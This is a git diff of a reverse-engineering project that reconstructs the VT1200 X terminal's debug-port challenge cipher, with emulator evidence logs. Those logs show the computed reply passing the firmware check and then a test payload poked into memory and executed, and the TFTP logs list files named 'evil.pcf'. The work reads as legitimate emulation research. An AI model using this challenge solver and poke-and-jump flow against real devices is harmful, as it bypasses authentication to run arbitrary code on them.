diff --git a/dwt/challenge.py b/dwt/challenge.py
new file mode 100644
index 0000000..5442efb
--- /dev/null
+++ b/dwt/challenge.py
@@ -0,0 +1,225 @@
+#!/usr/bin/env python3
+"""Answer the VT1200 ``dwt_prf`` TCP challenge (port 771) offline.
+
+The firmware sends 16 bytes with message flag 0x7F, reads 16 bytes back, and
+compares them. It does **not** compare our reply with the challenge directly:
+
+ recv(session, frame+0x10, 16) ; our reply
+ ntohl() each of the four words ; +0x10..+0x1f becomes swap4(reply)
+ transform(frame+0x10, 16) ; 0x3F5A09C0, in place
+ memcmp(frame+0x20, frame+0x10, 16) ; frame+0x20 = host copy of challenge
+
+so the reply the host must send is ``swap4(inverse_T(swap4(challenge)))``.
+``transform`` is a bijection: a 16-round Feistel over each independent 8-byte
+record, so the inverse exists and is the same round function run backwards.
+(The firmware itself contains the inverse at 0x3F5AADA0; its output matched
+this module on every test vector.)
+
+Evidence and disassembly: dwt/notes/CHALLENGE_REVERSE.md.
+Pure stdlib; key and SP table are the firmware's own fixed values, captured
+from the firmware's initialiser (they are identical on every boot and on a
+live challenge - see the note).
+
+ python3 dwt/challenge.py --challenge f32cec8d0000ead00263a8c0f324ec8e
+ python3 dwt/challenge.py --selftest
+"""
+
+from __future__ import annotations
+
+import argparse
+import sys
+
+# --- Firmware constants ---------------------------------------------------
+# 8 round keys of 8 bytes used by the 16-round Feistel (key[15] first) and the
+# 8 x 64-entry SP tables (256 bytes each), both produced by the firmware's own
+# initialiser 0x3F5A9620(1) + 0x3F5AA2C0(0x1BE810). They are load-independent:
+# two fresh-NVRAM boots and a live TCP challenge gave identical bytes.
+KEY = bytes.fromhex("2C3E1F020130080D2D23281F080019120B333920171A00063227333C09041308370E1D18020B0107112D3C2B292C12203A3B250702003D030A1E3B0B272C00103B110B1C2010212E052D2B2C11092A10262725320410113D2B063D2D0239220030371C0D0006143512193F310A302204351F232B3004061323082E3E2D1A2400")
+SP = bytes.fromhex("0082800000000000008000000282800002808000028200000200000000800000000200000082800002828000000200000202800002808000000080000200000002020000000280000002800000820000008200000080800000808000020280000280000002008000020080000280000000000000020200000282000000008000008000000282800002000000008080000082800000008000000080000002000002808000008000000082000002008000000200000200000002028000028200000282800002800000008080000202800002008000020200000282000000828000020200000002800000028000000000000280000000820000000000000280800010400840004000400040000010400800000008001000000010000840104000401000004010400840004008400000004000400040000008001000000010000840004008001000080010400040000000000000004000400000104008000000084010000800100000400000000000400800104000000040084000000840104000000000000010400800100008400000080010400040000008400040084000400000000008400040004010000000104008401040080010000000004000000000004010400000004008400000080010000040100008001040004010000040100008000040080000000000004000401040000000000040100008401040084000400800040100000001010400000000040001040001000400000000040101000001000404000100040000040400000400000100040101040400010000000104040100000000000404000000000101040001000000010100000001040400010404010100040100040001010000000100040100040400000004010104000100000000000400010104000000040400010004010000000001000001010400010004000000000001000004000100040101040001000404000004000100000000000004000104040100040000010000000004040101040400000004010100000101000400000400000104040100040401000000000104040101000400000004000104000101000010408040100080401000804000000040104000400040800000408000100080000000000010400000104000401040804000008000000000400040000000408000000080001000000000400000104080400000000000400000100080401000004000408000000080401000004000400000100000401040004010408040000080400040000000408000104000401040804000008000000000000000000010400040100000400040004000408000000080001040804010008040100080400000004010408040000080000000800010000000004080001000804010400040004080001000804010000000004000001040804000000000004000001000004010400080000000800004010000040180000021000004008000000000000020000004018000042000000400800000018000042080000021000004218000040000000020000000010000042000000420000000008000002080000421800004218000000100000421800000200000000000000021800004010000000100000021800004000000040080000021800000000000000100000020000004018000002180000420800000010000002000000421800004018000042080000000000000010000042180000421800004000000002180000421000004010000000000000420000000218000040080000001800000200000040000000000000004208000040180000020080000100000201000200000082020100000201008000000082020100000200000200010082020000000200008000010080020000020001000000010082000000000000008002000082000100020000000202000082000100800000008002010080020100000000008202000002020100820000000202000002020100000001000200010080000000800201000202000082020100000200008200000080000100000200000200010000000100820000008000010082020100020200000002010082020000020201000000000080020100800000000200000000020100820200000200000080020000820001000000000002020100000001008002000082000100000100001001002010400020000000000040000010400020104100000041002010410020000100000000000010000020100000000000002010010020104000000040002010410000100100000040002010000020000100200041002010010000000100200040000010400000104100200041000010000000000000200041000000000020004100000001000010400020104000201001002010010020100000001001000000000020004000200001000000410020104000001041000000410020104000001000002010410020000100200041000000000000100000001041002000000000104100000001002000400000100000200040002000400000100100020080008000800000000020020080208000000082008000820000000000000082000020000000208200802080008020000080208200802000008000020000000000002082000000800080008200800000008020020000200200002080008020820080000000000000000000020000208200000080008000820080200000002002008020000000200000802080008000020000000200002080008000020080200000800082000000020000008000002082000020800000008000002002008000800000000200802082000020020000008000002080008000820080008000000002008020800080200000802002008000020080000200002000000000800080208")
+
+assert len(KEY) == 128 and len(SP) == 8 * 256
+
+
+def _round(x: int, k: bytes) -> int:
+ """F(x, k): the firmware's round function 0x3F5ACEC0 (Ghidra 0x07EB59D8).
+
+ Eight 6-bit table indices formed from the 32-bit input and the 8-byte round
+ key; each selects a 32-bit word from its own 64-entry table; the eight words
+ are OR'd together. Indices, from the disassembly (a2 = rol32(x, 1)):
+
+ i0 = key[7] ^ rol1(x) i4 = key[3] ^ (x >> 15)
+ i1 = key[6] ^ (x >> 3) i5 = key[2] ^ (x >> 19)
+ i2 = key[5] ^ (x >> 7) i6 = key[1] ^ (x >> 23)
+ i3 = key[4] ^ (x >> 11) i7 = key[0] ^ (x >> 27 | (x & 1) << 5)
+
+ Table i8-i uses SP[(7-i)*256 + index*4 .. +4] (little-endian 32-bit word).
+ """
+ x &= 0xFFFFFFFF
+ a2 = ((x << 1) | (x >> 31)) & 0xFFFFFFFF
+ idx = (
+ (k[7] ^ a2) & 0x3F,
+ (k[6] ^ (x >> 3)) & 0x3F,
+ (k[5] ^ (x >> 7)) & 0x3F,
+ (k[4] ^ (x >> 11)) & 0x3F,
+ (k[3] ^ (x >> 15)) & 0x3F,
+ (k[2] ^ (x >> 19)) & 0x3F,
+ (k[1] ^ (x >> 23)) & 0x3F,
+ (k[0] ^ ((x >> 27) | ((x & 1) << 5))) & 0x3F,
+ )
+ out = 0
+ for i, ix in enumerate(idx):
+ o = (7 - i) * 0x100 + ix * 4
+ out |= int.from_bytes(SP[o:o + 4], "little")
+ return out
+
+
+def _forward_record(rec: bytes) -> bytes:
+ """One 8-byte record: 0x3F5ABA40 (Ghidra 0x07EB5748).
+
+ The two 32-bit halves are read as big-endian values (the firmware's
+ ``bswap`` helper 0x3F5AE670 after a little-endian load), then 16 Feistel
+ rounds run with keys key[15], key[14], ..., key[0]:
+
+ round 0: L ^= F(R, k15) round 1: R ^= F(L, k14) ...
+
+ The result is written back big-endian as (R_final, L_final), because the
+ firmware stores the a9 half first.
+ """
+ if len(rec) != 8:
+ raise ValueError("record must be 8 bytes")
+ left = int.from_bytes(rec[0:4], "big")
+ right = int.from_bytes(rec[4:8], "big")
+ for n in range(16):
+ k = KEY[(15 - n) * 8:(16 - n) * 8]
+ if n % 2 == 0:
+ left ^= _round(right, k)
+ else:
+ right ^= _round(left, k)
+ return right.to_bytes(4, "big") + left.to_bytes(4, "big")
+
+
+def _inverse_record(rec: bytes) -> bytes:
+ """Inverse of _forward_record; matches firmware 0x3F5AADA0 exactly."""
+ if len(rec) != 8:
+ raise ValueError("record must be 8 bytes")
+ left = int.from_bytes(rec[4:8], "big")
+ right = int.from_bytes(rec[0:4], "big")
+ for n in range(15, -1, -1):
+ k = KEY[(15 - n) * 8:(16 - n) * 8]
+ if n % 2 == 0:
+ left ^= _round(right, k)
+ else:
+ right ^= _round(left, k)
+ return left.to_bytes(4, "big") + right.to_bytes(4, "big")
+
+
+def transform(data: bytes) -> bytes:
+ """Apply the firmware transform to a 16-byte memory buffer (in place there).
+
+ Records are independent: bytes 0..7 and 8..15 are transformed separately.
+ """
+ if len(data) != 16:
+ raise ValueError("transform takes exactly 16 bytes")
+ return _forward_record(data[0:8]) + _forward_record(data[8:16])
+
+
+def invert(data: bytes) -> bytes:
+ """Inverse of transform() on a 16-byte buffer."""
+ if len(data) != 16:
+ raise ValueError("invert takes exactly 16 bytes")
+ return _inverse_record(data[0:8]) + _inverse_record(data[8:16])
+
+
+def swap4(data: bytes) -> bytes:
+ """Reverse the bytes of each 32-bit word (the firmware's ntohl on LE)."""
+ if len(data) % 4:
+ raise ValueError("length must be a multiple of 4")
+ return b"".join(data[i:i + 4][::-1] for i in range(0, len(data), 4))
+
+
+def respond(challenge: bytes) -> bytes:
+ """Return the 16 bytes to put on the wire for ``challenge`` (wire order).
+
+ The firmware compares ``transform(swap4(reply))`` with ``swap4(challenge)``,
+ so the required reply is ``swap4(invert(swap4(challenge)))``.
+ """
+ if len(challenge) != 16:
+ raise ValueError("challenge is 16 bytes")
+ return swap4(invert(swap4(challenge)))
+
+
+def check_reply(challenge: bytes, reply: bytes) -> bool:
+ """Emulate the firmware side: True iff this reply passes the challenge."""
+ return transform(swap4(reply)) == swap4(challenge)
+
+
+# Known answers: (16-byte input to transform, 16-byte output), produced by
+# calling 0x3F5A09C0 itself in MAME. See dwt/evidence/oracle-*.log.
+_KATS = (
+ ("00" * 16, "90DE09B472855817" "90DE09B472855817"),
+ ("FF" * 16, "6A81040BF2294479" "6A81040BF2294479"),
+)
+
+
+def selftest() -> int:
+ for inp, want in _KATS:
+ got = transform(bytes.fromhex(inp)).hex().upper()
+ if got != want:
+ print(f"FAIL transform({inp}) = {got}, want {want}")
+ return 1
+ back = invert(bytes.fromhex(want)).hex().upper()
+ if back != inp:
+ print(f"FAIL invert({want}) = {back}, want {inp}")
+ return 1
+ # round-trip on a spread of values
+ for v in range(256):
+ rec = v.to_bytes(4, "big") * 2
+ if _inverse_record(_forward_record(rec)) != rec:
+ print(f"FAIL round-trip {v}")
+ return 1
+ # a random challenge: the reply must satisfy the firmware's comparison
+ import os
+ for _ in range(1000):
+ c = os.urandom(16)
+ if not check_reply(c, respond(c)):
+ print("FAIL respond/check_reply")
+ return 1
+ print("selftest OK: KATs, 256 round-trips, 1000 challenge/reply pairs")
+ return 0
+
+
+def main(argv=None) -> int:
+ ap = argparse.ArgumentParser(description="VT1200 dwt_prf challenge helper")
+ g = ap.add_mutually_exclusive_group()
+ g.add_argument("--challenge", metavar="HEX",
+ help="16-byte wire challenge; prints the reply to send")
+ g.add_argument("--transform", metavar="HEX", help="forward transform of 16 bytes")
+ g.add_argument("--invert", metavar="HEX", help="inverse transform of 16 bytes")
+ g.add_argument("--check", nargs=2, metavar=("CHALLENGE", "REPLY"),
+ help="emulate the firmware comparison")
+ g.add_argument("--selftest", action="store_true")
+ a = ap.parse_args(argv)
+ if a.selftest:
+ return selftest()
+ if not any((a.challenge, a.transform, a.invert, a.check)):
+ ap.print_help()
+ return 2
+ try:
+ if a.challenge:
+ print(respond(bytes.fromhex(a.challenge)).hex())
+ elif a.transform:
+ print(transform(bytes.fromhex(a.transform)).hex())
+ elif a.invert:
+ print(invert(bytes.fromhex(a.invert)).hex())
+ elif a.check:
+ ok = check_reply(bytes.fromhex(a.check[0]), bytes.fromhex(a.check[1]))
+ print("PASS" if ok else "FAIL")
+ return 0 if ok else 1
+ except ValueError as e:
+ print(f"error: {e}", file=sys.stderr)
+ return 2
+ return 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/dwt/evidence/VALIDATION.txt b/dwt/evidence/VALIDATION.txt
new file mode 100644
index 0000000..2fa6140
--- /dev/null
+++ b/dwt/evidence/VALIDATION.txt
@@ -0,0 +1,17 @@
+Validation of dwt/challenge.py against emulator ground truth
+================================================================
+dwt/evidence/oracle-forward-boot1.log: 70/70 16-byte vectors (each = 2 independent records)
+dwt/evidence/oracle-forward-boot2.log: 70/70 16-byte vectors (each = 2 independent records)
+fresh-boot key identical: True; SP table identical: True
+key[0:16] = 2C3E1F020130080D2D23281F08001912
+
+dwt/challenge_vectors.json: 180/180 vectors
+
+firmware inverse function 0x3F5AADA0 vs challenge.invert(): 6/6
+
+live TCP challenges answered with computed bytes (dwt/evidence/live-run*/):
+ run 1 connection 1: memcmp a8=00000000, opcode 7 -> Done, peek ROM ok
+ run 1 connection 2: memcmp a8=00000000, poke+jump, MAGIC DEAD/BEEF/0400, VRAM 1024/1024
+ run 2 (no breakpoints at all): opcode 7 + peek + poke + jump, markers identical
+
+TOTAL forward vectors matched: 140 (oracle) + 180 (json) = 320
diff --git a/dwt/evidence/live-run/cfg/default.cfg b/dwt/evidence/live-run/cfg/default.cfg
new file mode 100644
index 0000000..e720963
--- /dev/null
+++ b/dwt/evidence/live-run/cfg/default.cfg
@@ -0,0 +1,14 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/dwt/evidence/live-run/cfg/vt1200.cfg b/dwt/evidence/live-run/cfg/vt1200.cfg
new file mode 100644
index 0000000..b9e0e08
--- /dev/null
+++ b/dwt/evidence/live-run/cfg/vt1200.cfg
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/dwt/evidence/live-run/debug-challenge.log b/dwt/evidence/live-run/debug-challenge.log
new file mode 100644
index 0000000..b4b01d9
--- /dev/null
+++ b/dwt/evidence/live-run/debug-challenge.log
@@ -0,0 +1,25 @@
+MAME debugger version 0.289 (mame0289-dirty)
+Currently targeting vt1200 (VT1200 X terminal (v2.2 firmware))
+Breakpoint 1 set
+Breakpoint 2 set
+Breakpoint 3 set
+Breakpoint 4 set
+Breakpoint 5 set
+Breakpoint 6 set
+Breakpoint 7 set
+Breakpoint 8 set
+Breakpoint 9 set
+LIVE2 accept_debug_conn entry pc=3F58AD60
+
+LIVE2 dispatcher entry pc=3F59F320
+
+LIVE2 dwt_prf challenge entry pc=3F59FDC0
+
+LIVE2 challenge sent a13=007AE7B0 wire=3DB79CF3.8EB50000.C0A86302.3EB794F3 host=F39CB73D.0000B58E.0263A8C0.F394B73E
+
+LIVE2 pre-transform reply=71C08104.AF81012D.BE5884F7.634E8818
+
+LIVE2 memcmp-args expecting=F39CB73D.0000B58E.0263A8C0.F394B73E got=F39CB73D.0000B58E.0263A8C0.F394B73E
+
+LIVE2 challenge memcmp a8=00000000 (0=equal)
+
diff --git a/dwt/evidence/live-run/debug-live.log b/dwt/evidence/live-run/debug-live.log
new file mode 100644
index 0000000..027f46d
--- /dev/null
+++ b/dwt/evidence/live-run/debug-live.log
@@ -0,0 +1,43 @@
+MAME debugger version 0.289 (mame0289-dirty)
+Currently targeting vt1200 (VT1200 X terminal (v2.2 firmware))
+Breakpoint 1 set
+Breakpoint 2 set
+Breakpoint 3 set
+Breakpoint 4 set
+Breakpoint 5 set
+Breakpoint 6 set
+Breakpoint 7 set
+Breakpoint 8 set
+Breakpoint 9 set
+LIVE2 accept_debug_conn entry pc=3F58AD60
+
+LIVE2 dispatcher entry pc=3F59F320
+
+LIVE2 dwt_prf challenge entry pc=3F59FDC0
+
+LIVE2 challenge sent a13=007AE7B0 wire=3DB79CF3.8EB50000.C0A86302.3EB794F3 host=F39CB73D.0000B58E.0263A8C0.F394B73E
+
+LIVE2 pre-transform reply=71C08104.AF81012D.BE5884F7.634E8818
+
+LIVE2 memcmp-args expecting=F39CB73D.0000B58E.0263A8C0.F394B73E got=F39CB73D.0000B58E.0263A8C0.F394B73E
+
+LIVE2 challenge memcmp a8=00000000 (0=equal)
+
+LIVE2 accept_debug_conn entry pc=3F58AD60
+
+LIVE2 dispatcher entry pc=3F59F320
+
+LIVE2 dwt_prf challenge entry pc=3F59FDC0
+
+LIVE2 challenge sent a13=007AE7B0 wire=ECB9DDEA.25B70100.C0A86302.EDB9D5EA host=EADDB9EC.0001B725.0263A8C0.EAD5B9ED
+
+LIVE2 pre-transform reply=B5DE07BF.872DCB1A.323728E1.8B9B13E4
+
+LIVE2 memcmp-args expecting=EADDB9EC.0001B725.0263A8C0.EAD5B9ED got=EADDB9EC.0001B725.0263A8C0.EAD5B9ED
+
+LIVE2 challenge memcmp a8=00000000 (0=equal)
+
+LIVE2 rdebug_poke entry pc=3F5A1B50
+
+LIVE2 rdebug_jump entry pc=3F5A3890
+
diff --git a/dwt/evidence/live-run/mame.log b/dwt/evidence/live-run/mame.log
new file mode 100644
index 0000000..80dbf7b
--- /dev/null
+++ b/dwt/evidence/live-run/mame.log
@@ -0,0 +1,28 @@
+Warning: -video none doesn't make much sense without -seconds_to_run
+vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
+vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
+vt1200: scanline#1 line=1 enabled=1
+vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
+LIVE2 armed read-only breakpoints
+vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
+vt1200: scanline#2 line=0 enabled=1
+vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
+vt1200: scanline#3 line=1 enabled=1
+vt1200: scanline#4 line=2 enabled=1
+LIVE2 frame 500 word@0xAECD0=8070 field2..3=0
+LIVE2 frame 1000 word@0xAECD0=8070 field2..3=0
+LIVE2 frame 1500 word@0xAECD0=8070 field2..3=0
+LIVE2 frame 2000 word@0xAECD0=8070 field2..3=0
+LIVE2 frame 2500 word@0xAECD0=8070 field2..3=0
+LIVE2 frame 3000 word@0xAECD0=8070 field2..3=0
+LIVE2 frame 3500 word@0xAECD0=8070 field2..3=0
+LIVE2 frame 4000 word@0xAECD0=8070 field2..3=0
+LIVE2 frame 4500 word@0xAECD0=8070 field2..3=0
+LIVE2 frame 5000 word@0xAECD0=8070 field2..3=0
+LIVE2 frame 5500 word@0xAECD0=8070 field2..3=0
+LIVE2 frame 6000 word@0xAECD0=8070 field2..3=0
+LIVE2 frame 6500 word@0xAECD0=8070 field2..3=0
+LIVE2 payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400
+LIVE2 payload-ran: VRAM block 1024/1024 words FFFF, 0 holes
+LIVE2 exiting at frame 6840 (payload seen at 6720)
+Average speed: 280.89% (94 seconds)
diff --git a/dwt/evidence/live-run/serve.log b/dwt/evidence/live-run/serve.log
new file mode 100644
index 0000000..32b151e
--- /dev/null
+++ b/dwt/evidence/live-run/serve.log
@@ -0,0 +1,4 @@
+serving 29 names on ('192.168.99.1', 69)
+ names: 69, 69/baseline.pcf, 69/evil.pcf, 69/fonts.dir, 69/v1200a.pcf, ROM, X11/baseline.pcf, X11/evil.pcf, X11/fonts.dir, X11/v1200a.pcf, baseline.pcf, evil.pcf, font, font/baseline.pcf, font/evil.pcf, font/fonts.dir, font/v1200a.pcf, fonts, fonts.dir, fonts/baseline.pcf, fonts/evil.pcf, fonts/fonts.dir, fonts/v1200a.pcf, misc/baseline.pcf, misc/evil.pcf, misc/fonts.dir, misc/v1200a.pcf, real.pcf, rom
+bootp: L2 responder on tap-mess-1000-0: handing out 192.168.99.2, siaddr 192.168.99.1 (src mac c6:fc:cc:16:f5:66)
+bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
diff --git a/dwt/evidence/live-run2/cfg/default.cfg b/dwt/evidence/live-run2/cfg/default.cfg
new file mode 100644
index 0000000..e720963
--- /dev/null
+++ b/dwt/evidence/live-run2/cfg/default.cfg
@@ -0,0 +1,14 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/dwt/evidence/live-run2/cfg/vt1200.cfg b/dwt/evidence/live-run2/cfg/vt1200.cfg
new file mode 100644
index 0000000..b9e0e08
--- /dev/null
+++ b/dwt/evidence/live-run2/cfg/vt1200.cfg
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/dwt/evidence/live-run2/client.log b/dwt/evidence/live-run2/client.log
new file mode 100644
index 0000000..2b65b97
--- /dev/null
+++ b/dwt/evidence/live-run2/client.log
@@ -0,0 +1,7 @@
+[+] challenge f7 b4 6c 6b 00 00 6b 3f 02 63 a8 c0 f7 ac 6c 6c
+[+] reply 49 0a ad 58 f1 ea b2 5a 3d fe f0 ee 92 6b 0a 20
+[+] reply satisfies firmware comparison: True
+opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00')
+peek 0x3f200000 (8) -> e9 7a e2 f5 aa aa 55 55
+poke-file harness/hello-world/payload.bin: 82 bytes at 0x01800000: ok
+jump 0x01800000: sent
diff --git a/dwt/evidence/live-run2/mame.log b/dwt/evidence/live-run2/mame.log
new file mode 100644
index 0000000..4d77331
--- /dev/null
+++ b/dwt/evidence/live-run2/mame.log
@@ -0,0 +1,17 @@
+Warning: -video none doesn't make much sense without -seconds_to_run
+vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
+vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
+vt1200: scanline#1 line=1 enabled=1
+vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
+vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
+vt1200: scanline#2 line=0 enabled=1
+vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
+vt1200: scanline#3 line=1 enabled=1
+vt1200: scanline#4 line=2 enabled=1
+CHECK frame 500 MAGIC1=5555 MAGIC2=5555 COUNT=5555
+CHECK frame 1000 MAGIC1=5555 MAGIC2=5555 COUNT=5555
+CHECK frame 1500 MAGIC1=5555 MAGIC2=5555 COUNT=5555
+CHECK payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400
+CHECK payload-ran: VRAM block 1024/1024 words FFFF, 0 holes
+CHECK exiting at frame 1850 (payload seen at 1730)
+Average speed: 328.16% (25 seconds)
diff --git a/dwt/evidence/live-run2/serve.log b/dwt/evidence/live-run2/serve.log
new file mode 100644
index 0000000..a852ae6
--- /dev/null
+++ b/dwt/evidence/live-run2/serve.log
@@ -0,0 +1,4 @@
+serving 29 names on ('192.168.99.1', 69)
+ names: 69, 69/baseline.pcf, 69/evil.pcf, 69/fonts.dir, 69/v1200a.pcf, ROM, X11/baseline.pcf, X11/evil.pcf, X11/fonts.dir, X11/v1200a.pcf, baseline.pcf, evil.pcf, font, font/baseline.pcf, font/evil.pcf, font/fonts.dir, font/v1200a.pcf, fonts, fonts.dir, fonts/baseline.pcf, fonts/evil.pcf, fonts/fonts.dir, fonts/v1200a.pcf, misc/baseline.pcf, misc/evil.pcf, misc/fonts.dir, misc/v1200a.pcf, real.pcf, rom
+bootp: L2 responder on tap-mess-1000-0: handing out 192.168.99.2, siaddr 192.168.99.1 (src mac c6:fc:cc:16:f5:66)
+bootp: request from 08:00:2b:16:4b:5a xid=ee2284e6 -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
diff --git a/dwt/evidence/oracle-forward-boot1.log b/dwt/evidence/oracle-forward-boot1.log
new file mode 100644
index 0000000..bd60958
--- /dev/null
+++ b/dwt/evidence/oracle-forward-boot1.log
@@ -0,0 +1,91 @@
+Warning: -video none doesn't make much sense without -seconds_to_run
+vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
+vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
+vt1200: scanline#1 line=1 enabled=1
+vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
+vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
+vt1200: scanline#2 line=0 enabled=1
+vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
+vt1200: scanline#3 line=1 enabled=1
+vt1200: scanline#4 line=2 enabled=1
+ORACLE start frame=1000 p200=00000000 p400=00000000
+ORACLE init done @1C0200=0090C8D0 @1C0220=00000000 @1C0240=00000000 @1C0260=00910910 @1C0400=00000001
+ORACLE KP=00910910 FP=0090C8D0
+ORACLE KEY 2C3E1F020130080D2D23281F080019120B333920171A00063227333C09041308370E1D18020B0107112D3C2B292C12203A3B250702003D030A1E3B0B272C00103B110B1C2010212E052D2B2C11092A10262725320410113D2B063D2D0239220030371C0D0006143512193F310A302204351F232B3004061323082E3E2D1A2400
+ORACLE FTAB 0082800000000000008000000282800002808000028200000200000000800000000200000082800002828000000200000202800002808000000080000200000002020000000280000002800000820000008200000080800000808000020280000280000002008000020080000280000000000000020200000282000000008000008000000282800002000000008080000082800000008000000080000002000002808000008000000082000002008000000200000200000002028000028200000282800002800000008080000202800002008000020200000282000000828000020200000002800000028000000000000280000000820000000000000280800010400840004000400040000010400800000008001000000010000840104000401000004010400840004008400000004000400040000008001000000010000840004008001000080010400040000000000000004000400000104008000000084010000800100000400000000000400800104000000040084000000840104000000000000010400800100008400000080010400040000008400040084000400000000008400040004010000000104008401040080010000000004000000000004010400000004008400000080010000040100008001040004010000040100008000040080000000000004000401040000000000040100008401040084000400800040100000001010400000000040001040001000400000000040101000001000404000100040000040400000400000100040101040400010000000104040100000000000404000000000101040001000000010100000001040400010404010100040100040001010000000100040100040400000004010104000100000000000400010104000000040400010004010000000001000001010400010004000000000001000004000100040101040001000404000004000100000000000004000104040100040000010000000004040101040400000004010100000101000400000400000104040100040401000000000104040101000400000004000104000101000010408040100080401000804000000040104000400040800000408000100080000000000010400000104000401040804000008000000000400040000000408000000080001000000000400000104080400000000000400000100080401000004000408000000080401000004000400000100000401040004010408040000080400040000000408000104000401040804000008000000000000000000010400040100000400040004000408000000080001040804010008040100080400000004010408040000080000000800010000000004080001000804010400040004080001000804010000000004000001040804000000000004000001000004010400080000000800004010000040180000021000004008000000000000020000004018000042000000400800000018000042080000021000004218000040000000020000000010000042000000420000000008000002080000421800004218000000100000421800000200000000000000021800004010000000100000021800004000000040080000021800000000000000100000020000004018000002180000420800000010000002000000421800004018000042080000000000000010000042180000421800004000000002180000421000004010000000000000420000000218000040080000001800000200000040000000000000004208000040180000020080000100000201000200000082020100000201008000000082020100000200000200010082020000000200008000010080020000020001000000010082000000000000008002000082000100020000000202000082000100800000008002010080020100000000008202000002020100820000000202000002020100000001000200010080000000800201000202000082020100000200008200000080000100000200000200010000000100820000008000010082020100020200000002010082020000020201000000000080020100800000000200000000020100820200000200000080020000820001000000000002020100000001008002000082000100000100001001002010400020000000000040000010400020104100000041002010410020000100000000000010000020100000000000002010010020104000000040002010410000100100000040002010000020000100200041002010010000000100200040000010400000104100200041000010000000000000200041000000000020004100000001000010400020104000201001002010010020100000001001000000000020004000200001000000410020104000001041000000410020104000001000002010410020000100200041000000000000100000001041002000000000104100000001002000400000100000200040002000400000100100020080008000800000000020020080208000000082008000820000000000000082000020000000208200802080008020000080208200802000008000020000000000002082000000800080008200800000008020020000200200002080008020820080000000000000000000020000208200000080008000820080200000002002008020000000200000802080008000020000000200002080008000020080200000800082000000020000008000002082000020800000008000002002008000800000000200802082000020020000008000002080008000820080008000000002008020800080200000802002008000020080000200002000000000800080208
+ORACLE SEED 55F861C7E51311D4C800000000000000000000000000000000000000000000000000000000003A322A221A120A023C342C241C140C043E362E261E160E06403830282018100839312921191109013B332B231B130B033D352D251D150D053F372F271F170F07280830103818402027072F0F37173F1F26062E0E36163E1E2505
+ORACLE R1 39312921191109013A322A221A120A023B332B231B130B033C342C243F372F271F170F073E362E261E160E063D352D251D150D051C140C04
+ORACLE R2 01020406080A0C0E0F11131517191B1C0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D
+ORACLE R3 0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D0F01080E060B03040907020D0C00050A
+ORACLE R4 8000000040000000200000001000000008000000040000000200000001000000080000000400000002000000010000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+ORACLE 00000000000000000000000000000000 90DE09B47285581790DE09B472855817
+ORACLE FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 6A81040BF22944796A81040BF2294479
+ORACLE 71471D94EC8993C744BCD8CFCB3CC5A6 51BB36A47ABF37381DFBB4E88A2E7E0F
+ORACLE 6819A8E6CAA4E23B69BD418941DA1EDC 96E3FFE7D578C80316D03D45E6993285
+ORACLE 4ED83613C682494C19E2740EA94A4F39 AC206B3295B638C37446B2D1C42B8104
+ORACLE 4920C6AE776DB8BE592551547A3428E1 56354353B10EA5DC8A98A50255B3958C
+ORACLE 414D180A3571DE14F241770BEA0537B5 989EFDFA11AA33978EEA9BBEBA20600C
+ORACLE DD78A93A16592A906BB244A8F2E6CB5A 8996F85FBD87D4D750A112135CF14EAB
+ORACLE 837EBA11F2B0CB3609B3D85E48C5F432 0655BA88004D24A665E001E441C31D24
+ORACLE 5CF848225FC0AFC9D53E111E624A8060 E703106CFD05FC6656F34FF7D76CB603
+ORACLE 4D4314C0B59687CB950F8F9E79E2FFC8 DF0A6E99502D24FA98F4EEB82A4045AD
+ORACLE FD789CFD0AFBC080D0A0B14E83B7BE0B B110596B898A77BC027D16CBEDE12282
+ORACLE D5741FAE367B8AEBCE2D956336B5CF8E EE2D417EBD755A0A852EA62EDB3C493E
+ORACLE FAD19C64CF60D4CE95B01BD00B85FE73 3D7A77DEA62599F8C155F770AC5E8A88
+ORACLE 54E9D2732DB74DADEBE5E1473794DC9D E528ADCF75B272FC23D20640A436BBF3
+ORACLE 8AD941EF664964CB5A47473BB30DB7AF 4A86CAFE092B8493911CFF5075875316
+ORACLE 027B26A952A2472B26106CE035D99F0C D4131B34AEE4BF72912281B9F6FED1B4
+ORACLE E46A8235870DE78F583B2E2833A562D8 707BDCDA6A0FA41D5477C560DAFAFA0A
